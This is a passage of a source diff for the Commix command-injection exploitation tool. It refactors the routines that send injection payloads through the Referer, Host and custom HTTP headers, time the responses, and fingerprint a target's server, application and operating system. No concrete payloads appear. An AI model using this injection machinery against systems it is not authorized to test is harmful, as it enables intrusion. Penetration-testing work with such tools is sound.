menu.options.data.encode(settings.UNICODE_ENCODING)) + if settings.USER_DEFINED_POST_DATA: + data = settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC) else: - url = parameters.get_url_part(url) - request = _urllib.request.Request(url) + data = None + request = _urllib.request.Request(url, data, method=http_request_method) #Check if defined extra headers. headers.do_check(request) payload = checks.newline_fixation(payload) - request.add_header('Referer', payload) + request.add_header(settings.REFERER, payload) try: headers.check_http_traffic(request) - response = opener.open(request) + if menu.options.proxy or menu.options.ignore_proxy or menu.options.tor: + response = proxy.use_proxy(request) + else: + response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) return response except ValueError: pass - if settings.TIME_RELATIVE_ATTACK : + if settings.TIME_RELATED_ATTACK : start = 0 end = 0 start = time.time() - proxy = None - #response = inject_referer(url, vuln_parameter, payload, proxy) - # Check if defined any HTTP Proxy. - if menu.options.proxy: - try: - proxy = _urllib.request.ProxyHandler({settings.SCHEME : menu.options.proxy}) - response = inject_referer(url, vuln_parameter, payload, proxy) - except _urllib.error.HTTPError as err_msg: - if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST: - response = False - elif settings.IGNORE_ERR_MSG == False: - err = str(err_msg) + "." - if not settings.VERBOSITY_LEVEL != 0 and settings.TIME_BASED_STATE == False or \ - settings.VERBOSITY_LEVEL != 0 and settings.EVAL_BASED_STATE == None: - print(settings.SINGLE_WHITESPACE) - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err)) - continue_tests = checks.continue_tests(err_msg) - if continue_tests == True: - settings.IGNORE_ERR_MSG = True - else: - raise SystemExit() - response = False - except _urllib.error.URLError as err_msg: - err_msg = str(err_msg.reason).split(" ")[2:] - err_msg = ' '.join(err_msg)+ "." - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - - # Check if defined Tor. - elif menu.options.tor: - try: - proxy = _urllib.request.ProxyHandler({settings.SCHEME:settings.PRIVOXY_IP + ":" + settings.PRIVOXY_PORT}) - response = inject_referer(url, vuln_parameter, payload, proxy) - except _urllib.error.HTTPError as err_msg: - if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST: - response = False - elif settings.IGNORE_ERR_MSG == False: - err = str(err_msg) + "." - if not settings.VERBOSITY_LEVEL != 0 and settings.TIME_BASED_STATE == False or \ - settings.VERBOSITY_LEVEL != 0 and settings.EVAL_BASED_STATE == None: - print(settings.SINGLE_WHITESPACE) - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err)) - continue_tests = checks.continue_tests(err_msg) - if continue_tests == True: - settings.IGNORE_ERR_MSG = True - else: - raise SystemExit() - response = False - except _urllib.error.URLError as err_msg: - err_msg = str(err_msg.reason).split(" ")[2:] - err_msg = ' '.join(err_msg)+ "." - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - - else: - try: - response = inject_referer(url, vuln_parameter, payload, proxy) - - except _urllib.error.HTTPError as err_msg: - if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST: - response = False - elif settings.IGNORE_ERR_MSG == False: - err = str(err_msg) + "." - if not settings.VERBOSITY_LEVEL != 0 and settings.TIME_BASED_STATE == False or \ - settings.VERBOSITY_LEVEL != 0 and settings.EVAL_BASED_STATE == None: - print(settings.SINGLE_WHITESPACE) - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err)) - continue_tests = checks.continue_tests(err_msg) - if continue_tests == True: - settings.IGNORE_ERR_MSG = True - else: - raise SystemExit() - response = False - except _urllib.error.URLError as err_msg: - err_msg = str(err_msg.reason).split(" ")[2:] - err_msg = ' '.join(err_msg)+ "." - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - - if settings.TIME_RELATIVE_ATTACK : + try: + response = inject_referer(url, vuln_parameter, payload, http_request_method) + except Exception as err_msg: + response = request_failed(err_msg) + + if settings.TIME_RELATED_ATTACK : end = time.time() - how_long = int(end - start) - return how_long + exec_time = int(end - start) + return exec_time else: return response """ Check if target host is vulnerable. (Host-based injection) """ -def host_injection(url, vuln_parameter, payload): - - payload = _urllib.parse.urlparse(url).netloc + payload - - def inject_host(url, vuln_parameter, payload, proxy): - - if proxy == None: - opener = _urllib.request.build_opener() - else: - opener = _urllib.request.build_opener(proxy) +def host_injection(url, vuln_parameter, payload, http_request_method): + def inject_host(url, vuln_parameter, payload, http_request_method): # Check if defined POST data - if menu.options.data: - menu.options.data = settings.USER_DEFINED_POST_DATA - request = _urllib.request.Request(url, menu.options.data.encode(settings.UNICODE_ENCODING)) + if settings.USER_DEFINED_POST_DATA: + data = settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC) else: - url = parameters.get_url_part(url) - request = _urllib.request.Request(url) + data = None + request = _urllib.request.Request(url, data, method=http_request_method) #Check if defined extra headers. headers.do_check(request) - payload = checks.newline_fixation(payload) - request.add_header('Host', payload) + payload = checks.newline_fixation(payload) + request.add_header(settings.HOST, payload) try: headers.check_http_traffic(request) - response = opener.open(request) + if menu.options.proxy or menu.options.ignore_proxy or menu.options.tor: + response = proxy.use_proxy(request) + else: + response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) return response except ValueError: pass - if settings.TIME_RELATIVE_ATTACK : + if settings.TIME_RELATED_ATTACK : start = 0 end = 0 start = time.time() - proxy = None - #response = inject_host(url, vuln_parameter, payload, proxy) - # Check if defined any HTTP Proxy. - if menu.options.proxy: - try: - proxy = _urllib.request.ProxyHandler({settings.SCHEME : menu.options.proxy}) - response = inject_host(url, vuln_parameter, payload, proxy) - except _urllib.error.HTTPError as err_msg: - if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST: - response = False - elif settings.IGNORE_ERR_MSG == False: - err = str(err_msg) + "." - if not settings.VERBOSITY_LEVEL != 0 and settings.TIME_BASED_STATE == False or \ - settings.VERBOSITY_LEVEL != 0 and settings.EVAL_BASED_STATE == None: - print(settings.SINGLE_WHITESPACE) - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err)) - continue_tests = checks.continue_tests(err_msg) - if continue_tests == True: - settings.IGNORE_ERR_MSG = True - else: - raise SystemExit() - response = False - except _urllib.error.URLError as err_msg: - err_msg = str(err_msg.reason).split(" ")[2:] - err_msg = ' '.join(err_msg)+ "." - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - - # Check if defined Tor. - elif menu.options.tor: - try: - proxy = _urllib.request.ProxyHandler({settings.SCHEME:settings.PRIVOXY_IP + ":" + settings.PRIVOXY_PORT}) - response = inject_host(url, vuln_parameter, payload, proxy) - except _urllib.error.HTTPError as err_msg: - if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST: - response = False - elif settings.IGNORE_ERR_MSG == False: - err = str(err_msg) + "." - if not settings.VERBOSITY_LEVEL != 0 and settings.TIME_BASED_STATE == False or \ - settings.VERBOSITY_LEVEL != 0 and settings.EVAL_BASED_STATE == None: - print(settings.SINGLE_WHITESPACE) - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err)) - continue_tests = checks.continue_tests(err_msg) - if continue_tests == True: - settings.IGNORE_ERR_MSG = True - else: - raise SystemExit() - response = False - except _urllib.error.URLError as err_msg: - err_msg = str(err_msg.reason).split(" ")[2:] - err_msg = ' '.join(err_msg)+ "." - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - - else: - try: - response = inject_host(url, vuln_parameter, payload, proxy) - - except _urllib.error.HTTPError as err_msg: - if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST: - response = False - elif settings.IGNORE_ERR_MSG == False: - err = str(err_msg) + "." - if not settings.VERBOSITY_LEVEL != 0 and settings.TIME_BASED_STATE == False or \ - settings.VERBOSITY_LEVEL != 0 and settings.EVAL_BASED_STATE == None: - print(settings.SINGLE_WHITESPACE) - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err)) - continue_tests = checks.continue_tests(err_msg) - if continue_tests == True: - settings.IGNORE_ERR_MSG = True - else: - raise SystemExit() - response = False - except _urllib.error.URLError as err_msg: - err_msg = str(err_msg.reason).split(" ")[2:] - err_msg = ' '.join(err_msg)+ "." - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - - if settings.TIME_RELATIVE_ATTACK : + try: + response = inject_host(url, vuln_parameter, payload, http_request_method) + except Exception as err_msg: + response = request_failed(err_msg) + + if settings.TIME_RELATED_ATTACK : end = time.time() - how_long = int(end - start) - return how_long + exec_time = int(end - start) + return exec_time else: return response - """ Check if target host is vulnerable. (Custom header injection) """ -def custom_header_injection(url, vuln_parameter, payload): - - def inject_custom_header(url, vuln_parameter, payload, proxy): - - if proxy == None: - opener = _urllib.request.build_opener() - else: - opener = _urllib.request.build_opener(proxy) +def custom_header_injection(url, vuln_parameter, payload, http_request_method): + def inject_custom_header(url, vuln_parameter, payload, http_request_method): # Check if defined POST data - if menu.options.data: - menu.options.data = settings.USER_DEFINED_POST_DATA - request = _urllib.request.Request(url, menu.options.data.encode(settings.UNICODE_ENCODING)) + if settings.USER_DEFINED_POST_DATA: + data = settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC) else: - url = parameters.get_url_part(url) - request = _urllib.request.Request(url) + data = None + request = _urllib.request.Request(url, data, method=http_request_method) #Check if defined extra headers. headers.do_check(request) - payload = checks.newline_fixation(payload) + payload = checks.newline_fixation(payload) + # if settings.CUSTOM_HEADER_VALUE in settings.CUSTOM_HEADER_VALUE.replace(settings.INJECT_TAG, ""): + # request.add_header(settings.CUSTOM_HEADER_NAME, settings.CUSTOM_HEADER_VALUE.replace(settings.INJECT_TAG, "").replace(settings.CUSTOM_HEADER_VALUE, payload)) + # else: request.add_header(settings.CUSTOM_HEADER_NAME, payload) try: headers.check_http_traffic(request) - response = opener.open(request) + if menu.options.proxy or menu.options.ignore_proxy or menu.options.tor: + response = proxy.use_proxy(request) + else: + response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) return response except ValueError: pass - if settings.TIME_RELATIVE_ATTACK : + if settings.TIME_RELATED_ATTACK : start = 0 end = 0 start = time.time() - proxy = None - #response = inject_custom_header(url, vuln_parameter, payload, proxy) + try: + response = inject_custom_header(url, vuln_parameter, payload, http_request_method) + except Exception as err_msg: + response = request_failed(err_msg) - # Check if defined any HTTP Proxy. - if menu.options.proxy: - try: - proxy = _urllib.request.ProxyHandler({settings.SCHEME : menu.options.proxy}) - response = inject_custom_header(url, vuln_parameter, payload, proxy) - except _urllib.error.HTTPError as err_msg: - if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST: - response = False - elif settings.IGNORE_ERR_MSG == False: - err = str(err_msg) + "." - if not settings.VERBOSITY_LEVEL != 0 and settings.TIME_BASED_STATE == False or \ - settings.VERBOSITY_LEVEL != 0 and settings.EVAL_BASED_STATE == None: - print(settings.SINGLE_WHITESPACE) - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err)) - continue_tests = checks.continue_tests(err_msg) - if continue_tests == True: - settings.IGNORE_ERR_MSG = True - else: - raise SystemExit() - response = False - except _urllib.error.URLError as err_msg: - err_msg = str(err_msg.reason).split(" ")[2:] - err_msg = ' '.join(err_msg)+ "." - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - - # Check if defined Tor. - elif menu.options.tor: - try: - proxy = _urllib.request.ProxyHandler({settings.SCHEME:settings.PRIVOXY_IP + ":" + settings.PRIVOXY_PORT}) - response = inject_custom_header(url, vuln_parameter, payload, proxy) - except _urllib.error.HTTPError as err_msg: - if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST: - response = False - elif settings.IGNORE_ERR_MSG == False: - err = str(err_msg) + "." - if not settings.VERBOSITY_LEVEL != 0 and settings.TIME_BASED_STATE == False or \ - settings.VERBOSITY_LEVEL != 0 and settings.EVAL_BASED_STATE == None: - print(settings.SINGLE_WHITESPACE) - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err)) - continue_tests = checks.continue_tests(err_msg) - if continue_tests == True: - settings.IGNORE_ERR_MSG = True - else: - raise SystemExit() - response = False - except _urllib.error.URLError as err_msg: - err_msg = str(err_msg.reason).split(" ")[2:] - err_msg = ' '.join(err_msg)+ "." - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - - else: - try: - response = inject_custom_header(url, vuln_parameter, payload, proxy) - except _urllib.error.HTTPError as err_msg: - if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST: - response = False - elif settings.IGNORE_ERR_MSG == False: - err = str(err_msg) + "." - if not settings.VERBOSITY_LEVEL != 0 and settings.TIME_BASED_STATE == False or \ - settings.VERBOSITY_LEVEL != 0 and settings.EVAL_BASED_STATE == None: - print(settings.SINGLE_WHITESPACE) - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err)) - continue_tests = checks.continue_tests(err_msg) - if continue_tests == True: - settings.IGNORE_ERR_MSG = True - else: - raise SystemExit() - response = False - except _urllib.error.URLError as err_msg: - err_msg = str(err_msg.reason).split(" ")[2:] - err_msg = ' '.join(err_msg)+ "." - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - - if settings.TIME_RELATIVE_ATTACK : + if settings.TIME_RELATED_ATTACK : end = time.time() - how_long = int(end - start) - return how_long + exec_time = int(end - start) + return exec_time else: return response @@ -1010,75 +696,47 @@ def inject_custom_header(url, vuln_parameter, payload, proxy): Target's encoding detection """ def encoding_detection(response): - if not menu.options.encoding: - charset_detected = False - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Identifying the indicated web-page charset. " - sys.stdout.write(settings.print_debug_msg(debug_msg)) - sys.stdout.flush() + charset_detected = False + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Identifying the web page charset." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + try: + # Detecting charset try: - # Detecting charset - try: - # Support for python 2.7.x - charset = response.headers.getparam('charset') - except AttributeError: - # Support for python 3.x - charset = response.headers.get_content_charset() - if charset != None and len(charset) != 0 : + # Support for python 2.7.x + charset = response.headers.getparam('charset') + except AttributeError: + # Support for python 3.x + charset = response.headers.get_content_charset() + if charset != None and len(charset) != 0 : + charset_detected = True + else: + content = re.findall(r"charset=['\"](.*)['\"]", response.read())[0] + if len(content) != 0 : + charset = content charset_detected = True else: - content = re.findall(r"charset=['\"](.*)['\"]", response.read())[0] - if len(content) != 0 : - charset = content - charset_detected = True - else: - # Check if HTML5 format - charset = re.findall(r"charset=['\"](.*?)['\"]", response.read())[0] - if len(charset) != 0 : - charset_detected = True - # Check the identifyied charset - if charset_detected : - settings.DEFAULT_PAGE_ENCODING = charset - if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) - if settings.DEFAULT_PAGE_ENCODING.lower() not in settings.ENCODING_LIST: - warn_msg = "The indicated web-page charset " + settings.DEFAULT_PAGE_ENCODING + " seems unknown." - print(settings.print_warning_msg(warn_msg)) - else: - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "The indicated web-page charset appears to be " - debug_msg += settings.DEFAULT_PAGE_ENCODING + Style.RESET_ALL + "." - print(settings.print_bold_debug_msg(debug_msg)) + # Check if HTML5 format + charset = re.findall(r"charset=['\"](.*?)['\"]", response.read())[0] + if len(charset) != 0 : + charset_detected = True + # Check the identifyied charset + if charset_detected: + settings.DEFAULT_PAGE_ENCODING = charset + if settings.DEFAULT_PAGE_ENCODING.lower() not in settings.ENCODING_LIST: + warn_msg = "The web page charset " + settings.DEFAULT_PAGE_ENCODING + " seems unknown." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) else: - pass - except: + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "The web page charset appears to be " + settings.DEFAULT_PAGE_ENCODING + "." + settings.print_data_to_stdout(settings.print_bold_debug_msg(debug_msg)) + else: pass - if charset_detected == False and settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) - warn_msg = "Heuristics have failed to identify indicated web-page charset." - print(settings.print_warning_msg(warn_msg)) - -""" -Procedure for target application identification -""" -def technology_detection(response): - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Identifying the technology supporting the target application. " - sys.stdout.write(settings.print_debug_msg(debug_msg)) - sys.stdout.flush() - print(settings.SINGLE_WHITESPACE) - try: - if len(response.info()['X-Powered-By']) != 0: - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "The target application is powered by " - debug_msg += response.info()['X-Powered-By'] + Style.RESET_ALL + "." - print(settings.print_bold_debug_msg(debug_msg)) - - except Exception as e: - if settings.VERBOSITY_LEVEL != 0: - warn_msg = "Heuristics have failed to identify the technology supporting the target application." - print(settings.print_warning_msg(warn_msg)) - + except: + pass + if charset_detected == False and settings.VERBOSITY_LEVEL != 0: + warn_msg = "Failed to identify the web page charset." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) """ Procedure for target application identification @@ -1086,164 +744,183 @@ def technology_detection(response): def application_identification(url): found_application_extension = False if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Identifying the target application." - sys.stdout.write(settings.print_debug_msg(debug_msg)) - sys.stdout.flush() + debug_msg = "Identifying the target application." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) root, application_extension = splitext(_urllib.parse.urlparse(url).path) settings.TARGET_APPLICATION = application_extension[1:].upper() - + if settings.TARGET_APPLICATION: found_application_extension = True if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) - debug_msg = "The target application identified as " - debug_msg += settings.TARGET_APPLICATION + Style.RESET_ALL + "." - print(settings.print_bold_debug_msg(debug_msg)) + debug_msg = "The target application appears to be " + settings.TARGET_APPLICATION + "." + settings.print_data_to_stdout(settings.print_bold_debug_msg(debug_msg)) # Check for unsupported target applications for i in range(0,len(settings.UNSUPPORTED_TARGET_APPLICATION)): if settings.TARGET_APPLICATION.lower() in settings.UNSUPPORTED_TARGET_APPLICATION[i].lower(): - err_msg = settings.TARGET_APPLICATION + " exploitation is not yet supported." - print(settings.print_critical_msg(err_msg)) + err_msg = settings.TARGET_APPLICATION + " exploitation is not yet supported." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() if not found_application_extension: if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) - warn_msg = "Heuristics have failed to identify target application." - print(settings.print_warning_msg(warn_msg)) + warn_msg = "Failed to identify target's application." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) """ -Procedure for target server's identification. +Underlying operating system check. """ -def server_identification(server_banner): - found_server_banner = False - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Identifying the target server. " - sys.stdout.write(settings.print_debug_msg(debug_msg)) - sys.stdout.flush() - - for i in range(0,len(settings.SERVER_BANNERS)): - match = re.search(settings.SERVER_BANNERS[i].lower(), server_banner.lower()) - if match: - if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "The target server identified as " - debug_msg += server_banner + Style.RESET_ALL + "." - print(settings.print_bold_debug_msg(debug_msg)) - settings.SERVER_BANNER = match.group(0) - found_server_banner = True - # Set up default root paths - if "apache" in settings.SERVER_BANNER.lower(): - if settings.TARGET_OS == "win": - settings.WEB_ROOT = "\\htdocs" - else: - settings.WEB_ROOT = "/var/www" - elif "nginx" in settings.SERVER_BANNER.lower(): - settings.WEB_ROOT = "/usr/share/nginx" - elif "microsoft-iis" in settings.SERVER_BANNER.lower(): - settings.WEB_ROOT = "\\inetpub\\wwwroot" - break - else: - if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) - warn_msg = "The server which identified as '" - warn_msg += server_banner + "' seems unknown." - print(settings.print_warning_msg(warn_msg)) - -""" -Procedure for target server's operating system identification. -""" -def check_target_os(server_banner): - found_os_server = False +def check_os(_): if menu.options.os and checks.user_defined_os(): user_defined_os = settings.TARGET_OS - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Identifying the target operating system. " - sys.stdout.write(settings.print_debug_msg(debug_msg)) - sys.stdout.flush() - - # Procedure for target OS identification. for i in range(0,len(settings.SERVER_OS_BANNERS)): - match = re.search(settings.SERVER_OS_BANNERS[i].lower(), server_banner.lower()) + match = re.search(settings.SERVER_OS_BANNERS[i].lower(), _.lower()) if match: - found_os_server = True + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Identifying the underlying operating system." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + settings.IDENTIFIED_TARGET_OS = True settings.TARGET_OS = match.group(0) match = re.search(r"microsoft|win", settings.TARGET_OS) if match: - identified_os = "Windows" - if menu.options.os and user_defined_os != "win": - if not checks.identified_os(): + settings.TARGET_OS = identified_os = settings.OS.WINDOWS + if menu.options.os and user_defined_os != settings.OS.WINDOWS: + if checks.identified_os(): settings.TARGET_OS = user_defined_os - - settings.TARGET_OS = identified_os[:3].lower() + else: + settings.TARGET_OS = settings.OS.WINDOWS if menu.options.shellshock: - err_msg = "The shellshock module is not available for " - err_msg += identified_os + " targets." - print(settings.print_critical_msg(err_msg)) + err_msg = "The shellshock module ('--shellshock') is not available for " + identified_os + " targets." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() else: identified_os = "Unix-like (" + settings.TARGET_OS + ")" - if menu.options.os and user_defined_os == "win": - if not checks.identified_os(): + if menu.options.os and user_defined_os == settings.OS.WINDOWS: + if checks.identified_os(): settings.TARGET_OS = user_defined_os if settings.VERBOSITY_LEVEL != 0 : - if found_os_server: - print(settings.SINGLE_WHITESPACE) - debug_msg = "The target operating system appears to be " - debug_msg += identified_os.title() + Style.RESET_ALL + "." - print(settings.print_bold_debug_msg(debug_msg)) - else: - print(settings.SINGLE_WHITESPACE) - warn_msg = "Heuristics have failed to identify server's operating system." - print(settings.print_warning_msg(warn_msg)) - - if found_os_server == False and not menu.options.os: - # If "--shellshock" option is provided then, - # by default is a Linux/Unix operating system. - if menu.options.shellshock: - pass - else: - if menu.options.batch: - if not settings.CHECK_BOTH_OS: - settings.CHECK_BOTH_OS = True - check_type = "unix-based" - elif settings.CHECK_BOTH_OS: - settings.TARGET_OS = "win" - settings.CHECK_BOTH_OS = False - settings.PERFORM_BASIC_SCANS = True - check_type = "windows-based" - info_msg = "Setting the " + check_type + " payloads." - print(settings.print_info_msg(info_msg)) - else: - while True: - question_msg = "Do you recognise the server's operating system? " - question_msg += "[(W)indows/(U)nix/(q)uit] > " - got_os = _input(settings.print_question_msg(question_msg)) - if got_os.lower() in settings.CHOICE_OS : - if got_os.lower() == "w": - settings.TARGET_OS = "win" - break - elif got_os.lower() == "u": - break - elif got_os.lower() == "q": - raise SystemExit() - else: - err_msg = "'" + got_os + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass + if settings.IDENTIFIED_TARGET_OS: + debug_msg = "The underlying operating system appears to be " + identified_os.title() + "." + settings.print_data_to_stdout(settings.print_bold_debug_msg(debug_msg)) + +""" +Target application identification +""" +def technology_identification(response): + x_powered_by = response.info()[settings.X_POWERED_BY] + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Identifying the technology supporting the target application." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + try: + if len(x_powered_by) != 0: + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "The target application is powered by " + x_powered_by + "." + settings.print_data_to_stdout(settings.print_bold_debug_msg(debug_msg)) + check_os(x_powered_by) + + except Exception as e: + if settings.VERBOSITY_LEVEL != 0: + warn_msg = "Failed to identify the technology supporting the target application." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + +""" +Target server's identification. +""" +def server_identification(response): + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Identifying the software used by target server." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + + server_banner = response.info()[settings.SERVER] + for i in range(0,len(settings.SERVER_BANNERS)): + match = re.search(settings.SERVER_BANNERS[i].lower(), server_banner.lower()) + if match: + settings.SERVER_BANNER = match.group(0) + # Set up default root paths + if "apache" in settings.SERVER_BANNER.lower(): + if settings.TARGET_OS == settings.OS.WINDOWS: + settings.WEB_ROOT = settings.WINDOWS_DEFAULT_DOC_ROOTS[1] + else: + settings.WEB_ROOT = settings.LINUX_DEFAULT_DOC_ROOTS[0].replace(settings.DOC_ROOT_TARGET_MARK,settings.TARGET_URL) + elif "nginx" in settings.SERVER_BANNER.lower(): + settings.WEB_ROOT = settings.LINUX_DEFAULT_DOC_ROOTS[6] + elif "microsoft-iis" in settings.SERVER_BANNER.lower(): + settings.WEB_ROOT = settings.WINDOWS_DEFAULT_DOC_ROOTS[0] + break + + if len(server_banner) != 0 and settings.VERBOSITY_LEVEL != 0: + debug_msg = "The target server's software appears to be " + server_banner + "." + settings.print_data_to_stdout(settings.print_bold_debug_msg(debug_msg)) + + +""" +Procedure for target server's operating system identification. +""" +def os_identification(response): + if not settings.IGNORE_IDENTIFIED_OS: + server_banner = response.info()[settings.SERVER] + identified_os = check_os(server_banner) + + if not settings.IDENTIFIED_TARGET_OS and not menu.options.os: + warn_msg = "Failed to identify server's underlying operating system." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + checks.define_target_os() """ Perform target page reload (if it is required). """ def url_reload(url, timesec): - if timesec <= "5": + if int(timesec) <= 5: timesec = 5 time.sleep(timesec) response = urllib.urlopen(url) return response +""" +Calculate the time related execution time +""" +def perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url): + # Fix prefixes / suffixes + payload, prefix = parameters.prefixes(payload, prefix) + payload, suffix = parameters.suffixes(payload, suffix) + + payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace) + payload = checks.perform_payload_modification(payload) + + # Check if defined "--verbose" option. + if settings.VERBOSITY_LEVEL != 0: + payload_msg = payload.replace("\n", "\\n") + settings.print_data_to_stdout(settings.print_payload(payload_msg)) + + # Check if defined cookie with "INJECT_HERE" tag + if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie or settings.COOKIE_INJECTION: + if not vuln_parameter: + vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie) + exec_time = cookie_injection(url, vuln_parameter, payload, http_request_method) + # Check if defined custom header with "INJECT_HERE" tag + elif settings.CUSTOM_HEADER_INJECTION: + if not vuln_parameter: + vuln_parameter = parameters.specify_custom_header_parameter("") + exec_time = custom_header_injection(url, vuln_parameter, payload, http_request_method) + # Check if defined user-agent with "INJECT_HERE" tag + elif (menu.options.agent and settings.INJECT_TAG in menu.options.agent) or settings.USER_AGENT_INJECTION: + if not vuln_parameter: + vuln_parameter = parameters.specify_user_agent_parameter(settings.USER_AGENT.lower()) + exec_time = user_agent_injection(url, vuln_parameter, payload, http_request_method) + # Check if defined referer with "INJECT_HERE" tag + elif (menu.options.referer and settings.INJECT_TAG in menu.options.referer) or settings.REFERER_INJECTION: + if not vuln_parameter: + vuln_parameter = parameters.specify_referer_parameter(settings.REFERER.lower()) + exec_time = referer_injection(url, vuln_parameter, payload, http_request_method) + # Check if defined host with "INJECT_HERE" tag + elif (menu.options.host and settings.INJECT_TAG in menu.options.host) or settings.HOST_INJECTION: + if not vuln_parameter: + vuln_parameter = parameters.specify_host_parameter(settings.HOST.lower()) + exec_time = host_injection(url, vuln_parameter, payload, http_request_method) + else: + exec_time, vuln_parameter = init_injection(payload, http_request_method, url) + + return exec_time, vuln_parameter, payload, prefix, suffix # eof \ No newline at end of file diff --git a/src/core/requests/tor.py b/src/core/requests/tor.py index 452d3aaf8e..bf22c9541b 100644 --- a/src/core/requests/tor.py +++ b/src/core/requests/tor.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos 